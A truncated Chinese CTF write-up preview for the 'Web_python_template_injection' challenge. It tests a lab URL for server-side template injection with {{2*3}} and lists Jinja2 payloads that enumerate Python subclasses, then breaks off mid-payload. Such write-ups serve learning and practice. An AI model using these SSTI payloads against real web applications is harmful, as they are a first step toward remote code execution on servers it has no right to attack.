攻防世界Writeup Web_python_template_injection
访问地址
首页显示
译:python 模块注入
那就直奔主题,看其是否存在SSTI注入
111.200.241.244:63800/{{2*3}}
得到回显,存在注入
接下来查看所有模块
{{ [].__class__.__base__.__subclasses__()}}
{{ {}.__class__.__base__.__subclasses__()}}
{{ ().__class__.__base__.__subclasses__()}}
{{ ''.__class__.__base__._.
原创
2021-11-17 11:00:01 ·
523 阅读 ·
0 评论